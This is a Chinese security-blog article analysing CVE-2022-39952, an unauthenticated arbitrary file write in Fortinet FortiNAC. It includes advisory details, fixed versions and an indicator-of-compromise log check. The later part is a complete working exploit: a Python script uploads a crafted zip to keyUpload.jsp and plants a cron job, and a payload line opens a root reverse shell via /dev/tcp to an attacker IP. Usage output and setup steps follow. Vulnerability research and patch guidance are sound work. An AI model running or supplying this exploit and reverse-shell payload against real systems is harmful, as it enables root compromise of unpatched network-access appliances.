freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2022-39952 Fortinet FortiNAC漏洞分析及复现|含poc
2023-02-22 15:48:12
所属地 辽宁省

漏洞描述

Fortinet FortiNAC 版本 9.4.0、9.2.0 至 9.2.5、9.1.0 至 9.1.7、8.8.0 至 8.8.11、8.7.0 至 8.7.6、8.6 中的文件名或路径的外部控制。 0 到 8.6.5、8.5.0 到 8.5.4、8.3.7 可能允许未经身份验证的攻击者通过特制的 HTTP 请求执行未经授权的代码或命令。

这是一个影响 Fortinet 网络访问控制解决方案 FortiNAC 的严重漏洞,滥用 keyUpload.jsp 端点来实现任意文件写入。

“类似于之前允许任意文件写入的存档漏洞问题的武器化,我们利用这个漏洞将计划任务写入 /etc/cron.d/payload。这个 cron 作业每分钟都会触发一次,并向攻击者发起一个反向 shell。

“我们首先创建一个包含文件的 zip 文件,并指定我们希望将其提取的路径。然后,我们将恶意 zip 文件发送.到关键字段中的易受攻击端点。一分钟之内,我们就以 root 用户的身份获得了一个反向 shell。

影响范围

IRFG-IR-22-300
日期2023 年 2 月 16 日
严重程度严重
CVSSv3 分数9.8
影响执行未经授权的代码或命令
漏洞编号CVE-2022-39952
受影响的产品FortiNAC: 9.4.0、9.2.5、9.2.4、9.2.3、9.2.2、9.2.1、9.2.0、9.1.7、9.1.6、9.1.5、9.1.4、9.1.3、 9.1.2、9.1.1、9.1.0、8.8.9、8.8.8、8.8.7、8.8.6、8.8.5、8.8.4、8.8.3、8.8.2、8.8.11、8.8。 10, 8.8.1, 8.8.0, 8.7.6, 8.7.5, 8.7.4, 8.7.3, 8.7.2, 8.7.1, 8.7.0, 8.6.5, 8.6.4, 8.6.3, 8.6.2、8.6.1、8.6.0、8.5.4、8.5.3、8.5.2、8.5.1、8.5.0、8.3.7
CVRF下载

PSIRT 公告

www.fortiguard.com/psirt/FG-IR-22-300

FortiNAC – keyUpload 脚本中文件名或路径的外部控制

概括

FortiNAC 网络服务器中的文件名或路径漏洞 [CWE-73] 的外部控制,可能允许未经身份验证的攻击者在系统上执行任意写入。

受影响的产品

FortiNAC 版本 9.4.0
FortiNAC 版本 9.2.0 到 9.2.5
FortiNAC 版本 9.1.0 到 9.1.7
FortiNAC 8.8 所有版本
FortiNAC 8.7 所有版本
FortiNAC 8.6 所有版本
FortiNAC 8.5 所有版本
FortiNAC 8.3 所有版本

解决方案

请升级至FortiNAC 9.4.1或以上版本
请升级至FortiNAC 9.2.6或以上版本
请升级至FortiNAC 9.1.8或以上版本
请升级至FortiNAC 7.2.0或以上版本

致谢

由 Fortinet 产品安全团队的 Gwendal Guégniaud 内部发现和报告。

漏洞分析

提取系统

从设备中提取文件系统很简单,首先从 vmdk 中列出可挂载的文件系统路径:

sudo virt-filesystems --filesystems -a fortinac-9.4.1.0726.vmdk

接下来,我们将文件系统挂载到我们创建的目录中:

sudo guestmount -a fortinac-9.4.1.0726.vmdk -m /dev/centos/root --ro /tmp/fnac941

漏洞

从易受攻击的和已打补丁的 vmdk 中提取两个文件系统后,很明显该文件/bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp已在补丁中删除,并且与公告中提到的 servlet 的名称相匹配。

检查 keyUpload.jsp 的内容,我们看到未经身份验证的端点将解析在参数中提供文件的请求key,如果找到,则将其写入/bsc/campusMgr/config.applianceKey.


成功写入文件后,调用Runtime().Exec()执行位于/bsc/campusMgr/bin/configApplianceXml.

bash 脚本对刚刚写入的文件调用解压缩。立即,看到对攻击者控制的文件的调用让我们回想起我们最近看到的一些滥用存档解包的漏洞。虽然我们最初的想法是围绕目录遍历问题,但 unzip 有助于剥离相对路径并防止遍历。

这个问题其实要简单得多,不需要遍历。就在调用解压缩之前,bash 脚本调用cd /解压缩将允许将文件放置在任何路径中,只要它们不遍历当前工作目录之上。因为工作目录是/,所以 bash 脚本内部的调用unzip允许写入任意文件。

漏洞武器化

类似于之前允许任意文件写入的存档漏洞问题的武器化,我们利用这个漏洞将一个 cron 作业写入/etc/cron.d/payload. 此 cron 作业每分钟触发一次,并向攻击者启动反向 shell。

我们首先创建一个包含文件的 zip 文件,并指定我们希望将其解压缩的路径。然后,我们将恶意 zip 文件发送到现场的易受攻击端点key。一分钟之内,我们以 root 用户获得了一个反向 shell。我们的概念证明漏洞利用自动化这可以在我们的GitHub上找到。

侵害指标(IOC)

注释:
Indicators of Compromise的中文翻译为”入侵指标”,也可以简称为”IOC”。该术语通常用于计算机网络安全领域,表示一些可疑活动或攻击的迹象,例如异常的网络流量、异常登录行为、恶意软件、未授权访问等。通过分析这些IOC,可以发现潜在的安全威胁并及时采取措施进行应对。

不幸的是,除非已添加许可证密钥,否则 FortiNAC 设备不允许访问 GUI,因此没有本机 GUI 日志可用于检查指标。但是,在位于/bsc/logs/output.masterRunning configApplianceXml具体来说,只要攻击者没有清除此日志文件,您就可以检查该行已查看是否被入侵。

可以通过多种方式滥用任意文件写入漏洞来获取远程代码执行。在这种情况下,我们将 cron 作业写入/etc/cron.d/,但攻击者还可以在定期执行的系统上覆盖二进制文件或将 SSH 密钥写入用户配置文件。

CVE-2022-39952 POC

该漏洞利用的默认配置是编写一个 cron 作业来创建一个反向 shell。请务必更改payload文件以适应您的环境。

CVE-2022-39952.py


#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

payload

注意:
请务必更改payload文件以适应您的环境。

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

用法

root@kali:~/CVE-2022-39952# python3 CVE-2022-39952.py --target 10.0.40.85 --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered

故障排除

如果使用基于 cron 的payload,请确保payload文件具有适当的权限和所有者:

sudo chown root:root payload
sudo chmod 0644 payload 

POC地址

GitHub:
https://github.com/horizon3ai/CVE-2022-39952

参考链接:

https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/

# 漏洞 # 企业安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录